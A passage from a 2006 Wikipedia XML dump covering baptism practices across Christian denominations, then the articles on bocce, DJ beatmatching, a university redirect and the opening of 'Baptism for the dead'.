Practice in the Orthodox Church for converts from other communions is not uniform, but  the original baptism is not necessarily regarded as valid even when no new baptism is performed. Situations where a new baptism is not done might arise where the form of the original baptism was acceptable, consisting of a triple immersion in the name of the Holy Trinity.  Instead, whatever form is used to receive the convert is taken as retroactively filling with grace a correct form that is held to have been graceless. If the original baptism was lacking in form then it is more likely, although not certain, that a new baptism will be required. Otherwise, a convert might be received by [[chrismation]] or [[confession]]. The exact procedure is dependent on local [[canon law|canons]].

Baptism was delineated as necessary for infants by Saint Augustine in the fourth century.  Baptism, which is intended to wash away sin, must be administered to the newborn, as they are in fact stained with Original Sin.  This, simply put, is the sin of Adam and Eve, who disobeyed God, and disseminated this sin upon all mankind to inherit.  A child, though seemingly innocent, is born into such guilt, and is damned should it suddenly die prior to baptism.

===Who may administer a baptism===
In normal circumstances, a licit baptism must be performed by a priest (for the [[Orthodox]]) or by a priest or deacon (for [[Roman Catholics]] and [[Anglicans]]) or by a duly ordained or appointed pastor for [[Methodists]] and many other [[Protestant]] denominations). However, in cases of a genuine emergency, anyone may perform the baptism - if, for example, an unbaptised person, in danger of imminent death, desires baptism, but a priest is not available to perform one, and there is a real danger the person may die before a priest can baptise them. However, if a baptism by a layperson is performed, it will often be followed if possible by a [[conditional baptism]] by a priest, in case there was any deficiency in the performance of the sacrament by the layperson.

The Catholic Church teaches that even when a baptism is illicit, it may be valid if done by the proper form, with intent to baptize, by any person, even a non-Christian.  In the Orthodox Church, the baptism must be performed by another Orthodox Christian under the theory that a person cannot convey that which he himself does not possess, in this case membership in the Church.

==Baptist and other Protestant baptism==
[[Baptist]] groups derive their name either from the restrictions that they traditionally place on the mode and subjects of the ordinance of baptism or from a shortening of the term [[Anabaptist]] which means to rebaptize. Anabaptists were labeled such because they rebaptized people who had received infant baptism, sprinkling, or baptism of any sort by another denomination.  Immersion of confessing believers is regarded as the only legitimate, biblical baptism by most Baptist churches today; some even go further and assert that the baptism must be administered by a Baptist church.

People of other faiths often assume that baptism is not administered to children, but this is an error.  Baptists instead require that a person make a credible confession of saving faith in Christ prior to being baptized, regardless of the confessor's age.  Such a person is understood to be [[born again]] (John 3:1-8).  Baptists believe that salvation is an actual event both at the cross of Christ in history and in the confessing believer's life. 

Those who hold views influenced by the Baptists, may perform the ceremony indoors in a baptismal, a swimming pool, or bathtub, or outdoors in a creek or river: as long as there is water, nothing prevents the performance of Baptism.  Protestant groups influenced by these convictions usually emphasize that it memorializes the death, burial and resurrection of [[Jesus]] (Romans 6), which according to the grace of God has become the basis of repentance and new life for those who have professed belief in Him, symbolizing spiritual death with regard to sin and a new life of faith in God.  They typically teach that baptism does not accomplish anything in itself, but is an outward sign or testimony, a personal act, indicating the invisible reality that the person's sins have already been washed away by the cross of Christ, and applied to their life according to their profession of faith.  It is also understood to be a covenantal act, signifying entrance into the [[New Covenant]] of Christ (Jeremiah 31:31-34; Hebrews 8:8-12, Romans 6).
For Baptists, baptism is a requirement for church membership, rather than a necessary requirement for salvation.

The above description applies not just to those denominations using ''Baptist'' in their title, but also to a wide variety of other Protestant denominations deriving from the Anabaptist tradition, including some [[Mennonite]]s and [[Pentecostal]]s.

==[[Reformed Theology|Reformed]] and [[Covenant Theology]] view==
{{main|Covenant Theology#Baptism}}

[[Infant Baptism|Paedobaptist]] Covenant Theologians see the administration of all the biblical covenants, including the New Covenant, as including a principle of [[family|familial]], corporate inclusion or &quot;generational succession.&quot; The biblical covenants between God and man include signs and seals that visibly represent the realities behind the covenants.  These visible signs and symbols of God's covenant redemption are administered in a corporate manner (for instance, to households), not in an exclusively individualistic manner.

Baptism is considered by Covenant Theologians as the visible sign of entrance into the New Covenant and therefore may be administered individually to new believers making a public profession of [[faith]]. Paedobaptists further believe this extends corporately to the households of believers which typically would include [[child]]ren, or individually to children or infants of believing parents (see [[Infant baptism]]). In this view, baptism is thus seen as the functional replacement and sacramental equivalent of the Abrahamic rite of [[History of male circumcision#Male Circumcision in the Greco-Roman World|circumcision]] and symbolizes the internal cleansing from [[sin]], among other things.

Baptist Covenant Theologians (such as [[John Gill (theologian)|John Gill]]) hold that baptism is only for those who can understand and profess their faith, and they argue that the [[regulative principle|regulative principle of worship]], which many paedobaptists also advocate and which states that elements of [[worship]] (including baptism) must be based on explicit commands of Scripture, is violated by infant baptism. Furthermore, because the New Covenant is described in [[Book of Jeremiah|Jeremiah]] [http://bible.gospelcom.net/passage/?search=jer+31:31-34 31:31-34] as a time when all who were members of it would have the [[Mosaic Law|law]] written on their hearts and would know God, Baptist Covenant Theologians believe only those who are [[born again]] are members of the New Covenant.

==Latter Day Saint baptism==
{{Template:LDS}}
In the [[Latter Day Saint movement]] ([[Mormonism]]), baptism is recognized as one of the four basic principles of the gospel, in addition to [[faith]] in [[Jesus]], [[repentance]], and the gift of the [[Holy Spirit]]. As with many other [[Restorationism|Restorationist]] faiths, baptism must be by immersion for the remission of [[sin]]s (meaning that through baptism, past sins are forgiven), and occurs after one has shown faith and repentance.

[[Latter Day Saint]] baptisms also must occur only after an &quot;age of accountability,&quot; or the age at which a child begins to know right from wrong, which Mormonism normally defines as the age of eight years. Mormonism strongly rejects [[infant baptism]]. In addition, Mormonism requires that baptism may only be performed with one who has been called and ordained by God with [[priesthood (Mormonism)|priesthood]] authority.

During the actual baptism ceremony, the priest performing the baptism says a prayer before immersing the one being baptized entirely under the water. The reported form of this prayer has varied through time. The earliest instance in the ''[[Book of Mormon]]'', the prayer was as follows:
:&quot;I baptize thee, having authority from the Almighty God, as a testimony that ye have entered into a covenant to serve him until you are dead as to the mortal body; and may the Spirit of the Lord be poured out upon you; and may he grant unto you eternal life, through the redemption of Christ, whom he has prepared from the foundation of the world.&quot; ([[Book of Mosiah|Mosiah]] 18:13).

Later in the ''[[Book of Mormon]]'', the resurrected Jesus Christ visited the inhabitants of the Americas and eliminated all confusion related to the method of baptism:
:&quot;Verily I say unto you, that whoso repenteth of his sins through your words, and desireth to be baptized in my name, on this wise shall ye baptize them—Behold, ye shall go down and stand in the water, and in my name shall ye baptize them. And now behold, these are the words which ye shall say, calling them by name, saying: Having authority given me of Jesus Christ, I baptize you in the name of the Father, and of the Son, and of the Holy Ghost. Amen. And then shall ye immerse them in the water, and come forth again out of the water. And after this manner shall ye baptize in my name; for behold, verily I say unto you, that the Father, and the Son, and the Holy Ghost are one; and I am in the Father, and the Father in me, and the Father and I are one. And according as I have commanded you thus shall ye baptize. And there shall be no disputations among you, as there have hitherto been; neither shall there be disputations among you concerning the points of my doctrine, as there have hitherto been.&quot;([[Third Book of Nephi|3 Nephi]] 11:23-28).

[[Latter Day Saint]]s do not generally believe that the gift of the [[Holy Spirit]] occurs immediately after baptism; rather, the gift is given by the laying on of hands in a separate ''confirmation'' ritual after baptism. This ritual is confirmed by Paul's actions in Acts 19:6, where, following the baptism of several followers of Christ, he &quot;laid his hands upon&quot; those who were baptized and they then received the Holy Ghost.

The process of repentance and sanctification continues by partaking of the [[Sacrament (Mormonism)|Sacrament]] every Sunday which [[Latter Day Saints]] consider to be a renewal of one's baptismal covenant with God. They also believe that baptism is symbolic both of [[Jesus]]'s death, burial and [[resurrection]] and of the death and burial of the natural or sinful man and rebirth as a disciple of Jesus of the one baptized.

===Baptism in The Church of Jesus Christ of Latter-day Saints===
In [[The Church of Jesus Christ of Latter-day Saints]], baptism and confirmation are only the first of several [[ordinance (Mormonism)|ordinances]] believed to be required for [[exaltation]]. Membership into the LDS Church is granted only by baptism whether a person has been raised in the Church or not. The person being baptized must be at least eight years old. The church also practices [[baptism for the dead]] along with all other Church ordinances members of the LDS Church perform &quot;vicariously&quot; or &quot;by proxy&quot; in their [[Temple (Mormonism)|temples]] for everyone who has not received these ordinances while living.

Baptisms inside and outside the temples are usually done in a font although they can be performed in any body of water in which the person may be completely immersed. In Latter-day Saint temples the fonts are laid out on the sculptures of twelve oxen representing the twelve tribes of Israel. Great care is taken in the execution of the baptism; if the baptism is not executed properly it must be redone. The person administering the baptism must recite the prayer exactly, and immerse every part, limb, hair and clothing of the person being baptised. If there are any mistakes, or if any part of the person being baptised is not fully immersed, the baptism must be redone.  In addition to the baptizer, two authorized priesthood officers witnesses to ensure that the baptism is conducted properly.

== Jehovah's Witnesses ==
Baptism is also done by [[Jehovah's Witnesses]], who believe that baptism is required to wash their sins away and to show that they serve Jehovah.  They become baptised only when they are old enough to make the decision that they want to be baptized and are ready to dedicate their life to Jehovah.

==Baptism in Churches of Christ==
Maintaining that [[Alexander Campbell]], [[Barton Stone]] and their associates restored the true church of Christ after the pattern of the first century church, as founded on the day of Pentecost (Acts 2), the churches popularly known as [[Churches of Christ]] believe they are following the exact practice as established in the first century Church and as commanded in the New Testament.  They teach the following about baptism:
:* Baptism, as commanded in the great commission (Matthew 28:18-20) is a full immersion in water (Acts 8:38) and is for the remission of sins (Acts 2:38). 
:* Baptism is valid only after the belief and confession that &quot;Jesus is the Son of God&quot; and repentance of sin.
:* As stated in Matthew 28:19, baptism is performed in the name of &quot;the Father, the Son and the Holy Spirit&quot;.  This does not, however, mean that this phrase must be recited verbatim at baptism, but that it is done &quot;by the authority of the Father, the Son, and the Holy Spirit.&quot;  Reciting the phrase &quot;in the name of Jesus Christ&quot; is also Biblical and has the same meaning, since the Son shares the same authority as the Father and the Holy Spirit.
:* Upon baptism the believer receives the &quot;Gift of the Holy Spirit.&quot;  This wording from Acts 2:38 is believed by some to mean that the Holy Spirit as given to the new Christian either literally or symbolically as a gift, and believed by others to refer to salvation as the gift from the Holy Spirit.  The Church of Christ does not teach that believers receive miraculous gifts, such as [[glossolalia|speaking in tongues]].
:* When one is baptized he or she is saved and added by the Lord to the church.  

According to Church of Christ interpretation, Acts 2:38 teaches that repentance and baptism precede the remission of sins. This belief is further explained by 1 Peter 3:21 in which Peter says that &quot;Baptism doth also now save us&quot;, seemingly indicating that it is essential to salvation. Romans 6:3 also states that baptism puts one &quot;into Christ&quot;. Valid baptism may be administered by any member of the Church as long as it is administered according to the scriptures and church teaching.  Some members would assert that even a non-Christian may perform baptism, leading to the possibility that two isolated non-Christians could baptize each other, or even that a single non-Christian might baptize himself.  Most would concur that the important actor in baptism is God, not the person doing the baptizing.

Baptism is therefore a salvific ordinance in the Churches of Christ, though no mention is made of &quot;baptismal regeneration&quot; as is known in the Roman Catholic Church.

There is a movement within Churches of Christ recently which acknowledges that while God did in fact command baptism, He saves us at the point of faith.  To understand baptism in the 'classic' Church of Christ sense is painfully close to a works based salvation and that view is beginning to fade.

==Other baptisms==
===Non-Christian religions===
Although ''baptism'' as a rite, is Christian, many cultures practice or have practiced rites similar to baptism, including the [[ancient Egyptian]], the [[Hebrews|Hebraic]]/[[Judaism|Jewish]], the [[Babylonian]], the [[Maya civilization|Mayan]] and the [[Japan]]ese cultures.  In some, such evidence may be [[archaeology|archaeological]] and descriptive in nature, rather than a modern practice.

*[[Mandaeanism|Mandaeans]], who abhor Jesus and Moses as [[false messiah|false prophets]], revere [[John the Baptist]] and practice frequent baptism.

*The [[Sikh]] baptism ceremony, dating to [[1699]], was established when the religion's tenth leader ([[Guru Gobind Singh]]) baptised 5 followers of his faith and then was baptised himself by his followers, similar to [[Jesus]]' baptism by [[John the Baptist]]. The Sikh baptism ceremony is called Amrit Sanskar or Amrit Sanchar. The Sikh is said to have taken [[Amrit]] once they have been baptised. In [[Sikhism]], the baptised Sikh is also called an Amritdhari literally meaning ''Amrit Taker'' or one who has ''Taken on Amrit''.

===Methaphorical Baptisms===
====Baptism of objects====
The term is sometimes applied, technically improperly, to other ceremonies, inclding pious Christian, but non-sacramental ceremonies:
* The name Baptism of Bells has been given to the blessing of (musical, especally church) bells, at least in France, since the eleventh century. It is derived from the washing of the bell with holy water by the bishop, before he anoints it with the oil of the infirm without and with chrism within. A fuming censer is then placed under it. The bishop prays that these sacramentals of the Church may, at the sound of the bell, put the demons to flight, protect from storms, and call the faithful to prayer. 
* Baptism of Ships: at least since the time of the Crusades, rituals have contained a blessing for ships. The priest begs God to bless the vessel and protect those who sail in it, as He did the ark of Noah, and Peter, when the Apostle was sinking in the sea. The ship is then sprinkled with holy water

====Non-religious baptism====
Although even the use of water is often absent, the term baptism is also used for various initiations as rate of passage to a walk of secular life. 

*In the Flemish variety of Dutch, for example, one word for academic [[hazing]] is ''schachtendoop'' ('pledge baptism'), while it generally involved more soiling (&quot;baptizing&quot; with objects such as rotten food) and other abuse than cleansing.

* See also [[baptised by fire]]

==See also==
===Related articles and subjects===
*[[Baptism of Jesus]]
*[[Believers Baptism]]
*[[Baptism by desire]]
*[[Infant baptism]]
*[[Christianity]]
*[[Theophany]]
*[[Prevenient Grace]]
*[[Conditional baptism]]
*[[Whitsunday]]
*[[Anabaptist]]
*[[Chrismation]]
*[[Christifideles]]
*[[Consolamentum]]
*[[Jesus-Name doctrine]]

===People and ritual objects===
*[[Baptismal font]]
*[[Mikvah]]
*[[Holy water]]
*[[Church]]
*[[Godfather]]
*[[John the Baptist]]

==Resources==
*''Baptism, Eucharist and Ministry'' (Faith and order paper). [[World Council of Churches]], 1982. ISBN 2825407097 
*Jungkuntz, Richard.  ''The Gospel of Baptism.''  St. Louis: Concordia Publishing House, 1968.
*Kolb, Robert.  ''Make Disciples Baptizing: God's Gift of New Life and Christian Witness.''  Fascicle Series, Number 1.  St. Louis: Concordia Seminary Publications, 1997.    ISBN 0-911770-66-6
*Scaer, David P.  ''Baptism.''  Confessional Lutheran Dogmatics, Vol. XI.  St. Louis: The Luther Academy, 1999.  ISBN 0-9622791-2-1
*Schlink, Edmund.  ''The Doctrine of Baptism.''  Herbert J. A. Bouman, trans.  St. Louis: Concordia Publishing House, 1972.  ISBN 0-570-03726-3
*Stookey, L.H. ''Baptism: Christ's Act in the Church''.  Nashville: Abingdon, 1982. ISBN 0687023645
*Ware, Timothy (Bishop Kallistos of Diokleia). ''The Orthodox Church'' (2nd ed.). London: Penguin Books, 1993, pp 277-278. ISBN 0140146563
*[[William Willimon|Willimon, William]]. ''Remember Who You Are: Baptism and the Christian Life''. Nashville: Upper Room, 1980. ISBN 0835803996

== External links ==
===Jewish===
*[http://jewishencyclopedia.com/view.jsp?artid=222&amp;letter=B&amp;search=baptism Jewish Encyclopedia: Baptism]
===Orthodox===
*[http://www.stsophia.org/sacraments_baptism.pdf The Sacrament of Baptism in Eastern Orthodoxy] (PDF)
*[http://www.orthodox.net/articles/baptism.html The Holy Mystery (orthodox.net)]

===Catholic===
*[http://www.newadvent.org/cathen/02258b.htm Catholic Encyclopedia: Baptism]
*[http://www.americancatholic.org/Features/Sacraments/Baptism.asp Baptism - Catholic Sacrament of Initiation - Christening]
===Lutheran===
*[http://www.lcms.org/pages/internal.asp?NavID=2590 Frequently Asked Questions Concerning Baptism] from [[Lutheran Church - Missouri Synod]]
===Calvinist===
*[http://www.gotquestions.org/baptism.html Christian Baptism] by GotQuestions.org (Calvinist perspective)
===Anglican===
*[http://www.cofe.anglican.org/lifeevents/baptismconfirm/ Baptism, Confirmation &amp; Affirmation of Baptismal Faith – An Introduction] (Church of England)

===Methodist===
*[http://www.gbod.org/worship/articles/water_spirit/ &quot;By Water &amp; the Spirit&quot;] (Official [[United Methodist Church|UMC]] Statement on Baptism)
*[http://www.gbod.org/worship/default.asp?act=reader&amp;item_id=2258 FAQs about Baptism, Membership, &amp; Salvation] (United Methodist Church General Board of Discipleship)

===Other groups===
*[http://www.mormon.org/learn/0,8672,859-84,00.html Mormon Baptism]
*[http://www.upci.org/doctrine/baptism.asp &quot;Jesus Only&quot; baptism]
*[http://www.biblicaladvancedbasics.com/Baptism.pdf Dispensationalist Baptism (PDF)]
*[http://www.bebaptized.org/ Baptism according to the Church of Christ]

[[Category:Baptism|Baptism]]
[[Category:Rites of passage]]

[[cs:Křest]]
[[da:Dåb]]
[[de:Taufe]]
[[es:Bautismo]]
[[eo:Bapto]]
[[fr:Baptême]]
[[he:בפטיזם]]
[[ia:Baptismo]]
[[it:Battesimo]]
[[ko:세례]]
[[la:Baptismus]]
[[ml:മാമോദീസ]]
[[nl:Doop]]
[[nds:Dööp]]
[[ja:洗礼]]
[[no:Dåp]]
[[pl:Chrzest]]
[[pt:Baptismo]]
[[ro:Botez]]
[[ru:Крещение (таинство)]]
[[fi:Kaste]]
[[sv:Dop]]
[[tl:Binyag]]
[[vi:Báp têm]]
[[uk:Хрестини]]
[[zh:洗禮]]</text>
    </revision>
  </page>
  <page>
    <title>Bocce</title>
    <id>4300</id>
    <revision>
      <id>39939172</id>
      <timestamp>2006-02-16T23:29:34Z</timestamp>
      <contributor>
        <ip>165.247.204.232</ip>
      </contributor>
      <comment>/* Players */</comment>
      <text xml:space="preserve">[[Image:Bocce_set.jpg|thumb|300px|right|A set of Bocce balls]]
'''Bocce''' is a precision [[sport]] closely related to [[bowls]] and [[pétanque]] with a common ancestry from ancient games played in the [[Roman Empire]].  Developed into its present form in [[Italy]], it is played around [[Europe]] and also in overseas countries that have received Italian migrants, including the [[United States]], [[Canada]], [[Australia]], [[Argentina]] and [[Brazil]], initially amongst the migrants themselves but slowly becoming more popular with their descendants and the wider community.

==Rules==
Unlike bowls, bocce is played on dirt courts of approximately 20 to 30 metres in length and approximately 2.5 to 4 metres wide, and has wooden boards of approximately 15 centimetres in height surrounding the court. Bocce balls can be made of [[brass]], compressed [[wood]], or various kinds of plastic (including [[PhenoTech]]).  Unlike lawn bowls, bocce balls are spherical and have no inbuilt bias (they will roll a straight course).

Like bowls, a game can be contested between two players, or two teams of two or four.  A match is started by a randomly chosen side being given the opportunity to throw a smaller ball, the '''jack''' (called a '''pallino''' or '''boccino''' in some areas), from one end of the court into a zone near the other end of the court of about 5 metres in length, ending 2 metres from the end of the court.  If they miss twice, the other team is awarded the opportunity to place the jack anywhere they choose within the zone.

The side that places the jack is given the opportunity to bowl the first bocce ball.  Once the first bowl has taken place, the other side has the opportunity to bowl.  From then on, the side which does ''not'' have the ball closest to the jack has a chance to bowl, up until one side or the other has used their four balls.  At that point, the other side bowls its remaining bocce balls.  Like lawn bowls, the team with the closest ball or balls to the jack is awarded one point for each ball that is closer to the jack than the other side's closest ball.  The contest continues until one team scores 13 points (though this can vary regionally).

[[Image:Bocce score detail.PNG|framed|center|Red gets 2 points]]

As well as the standard rolling bowl, in which the ball is rolled all the way along the court, players are permitted to throw the ball in the air using an underarm action.  This is generally used to knock either the jack or another ball into a more favourable position.  Tactics can get quite complex when players have sufficient control over the bocce bowl to land or roll it accurately.  

As well as the traditional game, there are several variations that are essentially solo accuracy contests of bowling and throwing.

==Players==

The greatest bocce player of all time is widely considered to be Umberto Granaglia of Italy who was awarded the honor of &quot;Player of the Twentieth Century&quot; by the Confederation Mondiale des Sport de Boules, the world's official governing body of bocce.  Granaglia strictly excelled in Volo, the most technically skilled form of the game.

==Organizations==

The Confederation Mondiale des Sports de Boules, http://www.cmsboules.com/ , is the international organization for the sport of bocce, based in France.

At the élite level, there are world championships held regularly, and Bocce is part of the quadrennial [[World Games]], a [[multi-sport event]] for lesser-known sports.

There exist several University-level Bocce organizations.  The most notable of which is the Order of the Bocce, based out of the College of William and Mary, found online at http://www.wm.edu/so/bocce/ and http://orderoftheboccewm.blogspot.com/.

==See also==
[[boccia]] - a closely related sport designed to be played by people with disabilities.

==External links==
* [http://www.boccevolo.com/ BocceVolo.com - World Class Bocce]
* [http://www.bocce.com/ United States Bocce Federation]
* [http://www.palazzodibocce.com/ Palazzo di Bocce]
* [http://www.boccemon.com/ Boccemon]

{{Bowling}}

[[Category:Precision sports]]
[[Category:Ball games]]

[[pt:Bocha]]
[[it:Bocce]]
[[fi:Bocce]]
[[nl:Bocce]]</text>
    </revision>
  </page>
  <page>
    <title>Beatmatching</title>
    <id>4301</id>
    <revision>
      <id>40449642</id>
      <timestamp>2006-02-20T17:12:08Z</timestamp>
      <contributor>
        <username>Mushin</username>
        <id>271938</id>
      </contributor>
      <minor />
      <comment>/* Step by step process of beatmatching */ left out a bar</comment>
      <text xml:space="preserve">'''Beatmatching''' is a technique employed by [[DJs]] to transition between two songs while performing either [[live]] at a [[club]] or [[event]], for [[radio]] broadcast or for distribution on prerecorded [[Mixtape|mix tapes/cds]], achieved by changing the [[tempo]] of a new track to match that of the currently playing track, then [[audio mixing|mixing]] between the two so there is no pause between songs. This is used to keep the flow of the music constant for the pleasure of the listner, both through appreciation of the quality of the mix between records and the lack of time between tracks played back to backs prodiving more [[melody]] and [[rhythm]] to dance to.

This technique became status quo on the [[turntable]], and many DJs continue to use vinyl records for their high quality analog sound, manipulability, as well as their history and allure. Other DJs have switched to [[CD]] mixing technology that allows digital controls to mimic common techniques for physically manipulating records, due to the greater ease of finding and transporting a CD collection. More recently, technology has been developed that allows DJs to use actual vinyl records to manipulate [[mp3s]] and other digital tracks stored on their computer hard drives to produce the same effects.

==History==
Beatmatching was originally employed by DJs by [[Francis Grasso]] in the late 60's/early 70's. Originally the technique involved counting the tempo with a [[metronome]] and finding a record with the same tempo, today it involves changing the speed at which a recording is played back so that its tempo matches that of the song currently playing.  In this way, the DJ can either simultaneously play two songs of different original tempos without their [[beat (music)|beat]]s clashing or &quot;galloping&quot; or can more smoothly transition between two songs.  The tempo of the recording can be changed through the use of specialized playback mechanisms.  In the case of [[vinyl record]]s, for example, the turntable would have a separate control for determining the relative speed (typically listed in percent increments) faster or slower the record can be played back.  Similar specialized playback devices exist for most recorded [[medium|media]]. Changing the speed of the record that is playing is called pitching or [[Audio timescale-pitch modification|pitch shifting]].

==Basic beatmatching technique==
For a DJ wishing to beatmatch using vinyl turntables, the general procedure involved is relatively simple to explain, but difficult to master. Beat matching actually involves two separate processes; matching tempos and aligning measures. For two songs to sound good together they need to have the same tempo (usually measured in [[Beats per minute]] or BPM) and they need to both hit on the same beat.

The following equipment is necessary for beat matching:
* Two turntables (T1 and T2) with pitch controls and slipmats
* At least two records (R1 and R2)
* One mixer or crossfader, capable of: 
** Variably blending the outputs of T1 and T2
** Cueing the music playing on either turntable without outputting the sound to the audience
* Headphones
* A Public Address System (PA) or other form of amplification and speakers

The following skills are necessary for beat matching:

===Selecting appropriate songs===
Although experienced DJs often show off by beat matching songs that do not follow these rules, while learning it is best to select songs that with similar BPMs. You also generally want to choose a record on T1 with an instrumental outro or a record on T2 with an instrumental intro, to avoid a sound that is too cluttered during the time in which both records are playing.  These instrumental parts do not need to be at the beginning or end of the song, and many DJs like to make smooth transitions at unexpected places.

===Counting===
In order to recognize the tempo of music, you must be able to count beats.  Most music designed for dancing has a strong, apparent beat, and is in the 4/4 [[time signature]], which makes beat matching easier.  To properly beat match you need to be able to recognize the first beat of the measure or bar, or the 1 in a count of 1 2 3 4 1 2 3 4 . . . If you were to continue this count past 4, one minute later you will have arrived at the BPM. A quicker way to calculate the BPM is to use the same method as counting to one minute, but count to 15 seconds instead then multiply by 4.

When counting, it is also useful to think in broad terms about the sections of the song, which will usually have a length equal to some multiple of 4 bars. Most commonly, if you count the bars in a section of a song, they will be 4, 8, 16, 32, or 64 bars in length. This information helps the DJ decide at which point during T1 he must start T2 in order for the sounds of one track to fade as the other builds, or whatever effect is desired.

===Slip-cueing===
{{main|Slip-cueing}}

While one record is played over the main speakers, you must be able to find the appropriate place to come in on the other over your headphones. This is done by physically moving the record back and forth with your hand. The beat that you select should generally be a &quot;hit&quot; on the bass drum near the beginning of the song.  This also should be the first beat of the measure. DJs will often use a sticker in center of their record to mark where the first main beat of the record takes place, to make it easier to find. Once found, you need to physically hold the record still and prevent it from spinning, thus pausing the sound. To start it again, simply release the record. You will need to physically rewind the record and start it several times, until you are confident that you have found the first beat and can start it at the exact moment that you desire.

===Matching tempos===
When two records are playing simulataneously, you listen to both and note which beat is running ahead or lagging behind, and adjust the pitch control accordingly. At least initially, it is best to make all adjustments on T2, so that the tempo of the music playing to the crowd is not erratic. Another technique, if you already know the BPMs for both records (because you have measured them yourself or looked them up in a reference guide or the internet), is to &quot;cheat&quot; and figure out how you need to adjust the pitch control mathematically. Many DJs use a combination of both, using measured BPMs to approximately match tempos and then fine tuning their adjustment by ear.

==Step by step process of beatmatching==
Assuming that you are already playing a record on T1,
# Select desired song to mix in on R2.
# Cue R2 on T2 to first main beat and pause it, using the headphones so that this process is not audible to the audience.
# Count beats on the R1, and find the first beat of the measure.
# Start R2 to correspond with the first beat of R1.  At this point you will need to listen to both records, which can be accomplished two ways.  Some mixers allow you to fade between both inputs in your headphones, but if you do not have this ability you can simply adjust your headphones to only cover one ear and listen to R1 over the main speakers.
# Match tempos using the pitch adjust on T2.  You will usually need to repeat Steps 4 and 5 a number of times before the tempos are actually locked together.  You will know that you have succeeded when even after listening to R2 for a (relatively) long time, it will stay perfectly synched with R1.
# Note the total percentage of the variation in speed needed and divide it by two.  If you were to leave T1 at neutral and adjust T2 all the way to +6%, it would make pitch increase drastically on T2, so that your [[Barry White]] records would sound more like the [[Bee Gees]]).  Instead, gradually slow down T1 to -3% (slowly enough that the crowd does not notice) and bring T2 to a more reasonable +3%. Then check you tempos one more time and repeat Steps 4 and 5 if necessary.
# Pause R2, as in Step 2.
# Set the mixer to play both records over the main speakers (usually done by setting the cross-fader in the middle position).  So long as R2 is paused, the crowd will still hear only R1.  Any movement on R2, however, will be audible to the crowd.  This movement can be done intentionally as [[scratching]].
# Count beats on R1 and until you have reached an appropriate place to merge the two records.  Often this will be the first beat not only of a measure but of a 4, 8, or 16 beat section. 
# Allow R2 to start in synch with R1.
# Listen closely and make small adjustments to tempo and volume until the desired effect is achieved.
# Remember to fade out R1 entirely when ready.

Once mastered, this skill allows you to layer one record over another and create smooth transitions between different songs.  After you have matched beats, you can also fade in and out smoothly between songs, and cue back either song to the beginning, thus extending both songs indefinitely.  The same technique can also be used to isolate [[Break (music)|breaks]], using two copies of the same record to extend a short &quot;break-down&quot; section as long as is desired.

==See also==
*[[Segue]]
*[[Cutting (music)|Cutting]]

{{hiphop}}

[[Category:DJing]]
[[Category:Disco]]

[[de:Beatmatching]]
[[fr:Calage tempo]]</text>
    </revision>
  </page>
  <page>
    <title>Brighton University</title>
    <id>4303</id>
    <revision>
      <id>15902582</id>
      <timestamp>2002-08-08T19:00:02Z</timestamp>
      <contributor>
        <username>Mintguy</username>
        <id>3295</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT[[University of Brighton]]</text>
    </revision>
  </page>
  <page>
    <title>Baptism for the dead</title>
    <id>4305</id>
    <revision>
      <id>40330920</id>
      <timestamp>2006-02-19T21:38:23Z</timestamp>
      <contributor>
        <username>Storm Rider</username>
        <id>117293</id>
      </contributor>
      <comment>Deleted statement that needs references to be included.</comment>
      <text xml:space="preserve">'''Baptism for the dead''' by [[Wiktionary:proxy|proxy]] (or &quot;vicarious baptism&quot;, &quot;temple baptism&quot;) is an ordinance practiced by members of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (and [[schism]] churches), the [[Mandaeanism|Mandaeans]] of [[Iraq]] and [[Iran]], some of the Neo-Apostolic congregations of [[Europe]], and some [[Indigenous peoples of the Americas|Native American]] religions. Although all the mentioned religious groups practice baptism for the dead to some extent, the term &quot;baptism for the dead&quot; is used almost exclusively in reference to the ordinance practiced by The Church of Jesus Christ of Latter-day Saints. 

In The Church of Jesus Christ of Latter-day Saints, a living person, acting as proxy, is baptized by immersion in typical Latter-day Saint fashion.  The ordinance is performed only in buildings recognized as temples.  The [[prayer]] accompanying the baptism differs from typical wording in that it states that the [[baptism]] is being performed for and in behalf of a deceased person whose name has been submitted for that ordinance. Any member of the Church who is at least 12 years old may be baptized for the dead. Young men must hold the priesthood. 

==Overview==
The Latter-day Saints' view of Baptism for the Dead is based upon their view of baptism for the living.  In John 3:5 ([[King James Version of the Bible|KJV]]), Jesus states, &quot;Except that a man be born of water and of the Spirit, he cannot enter into the kingdom of God.&quot;  As such, Latter-Day Saints believe that baptism is an essential ordinance or prerequisite for entry into the kingdom of God.  Baptism for the Dead allows this saving ordinance to be offered to those who have died without accepting the Gospel of Jesus Christ from authorised representatives of God during their mortal lives.  If baptism is a required ordinance, as Mormons believe is evidenced by Jesus's own desire to receive it from [[John the Baptist]], then inviting others to receive this ordinance becomes a natural obligation for all who have received the Gospel in this life.

According to The Church of Jesus Christ of Latter-day Saints, their practice of baptism for the dead is based on a revelation received by the prophet [[Joseph Smith]]. Smith first taught the doctrine at the [[funeral]] sermon of a deceased member of the Church, [[Seymour Brunson]]. In a letter written on [[October 19]], [[1840]], to the [[Quorum of the Twelve Apostles]] of the Church (who were on a mission in the [[United Kingdom]] at the time), Smith refers to the passage in [http://scriptures.lds.org/1_cor/15 1 Corinthians 15:29] (KJV):
:I presume the doctrine of &quot;baptism for the dead&quot; has ere this reached your ears, and may have raised some inquiries in your minds respecting the same.  I cannot in this letter give you all the information you may desire on the subject; but aside from knowledge independent of the [[Bible]], I would say that it was certainly practiced by the ancient churches; and [[Paul of Tarsus|Saint Paul]] endeavors to prove the doctrine of the resurrection from the same, and says, &quot;Else what shall they do which are baptized for the dead, if the dead rise not at all? Why are they then baptized for the dead?&quot; (History of The Church of Jesus Christ of Latter-day Saints 4:231)

Other scriptures of the Latter-day Saints Church ([[Doctrine and Covenants]] [http://scriptures.lds.org/dc/124 124:29], [http://scriptures.lds.org/dc/127 127:5-10] and  [http://scriptures.lds.org/dc/128 128]) expand upon this doctrine and command that such baptisms are to be performed in [[Temple (Mormonism)|temples]].  (As of 2003, there are more than 110 operating LDS temples worldwide and many more under construction.)  Vicarious baptism is performed in connection with other vicarious ordinances in Latter-day Saints' temples.

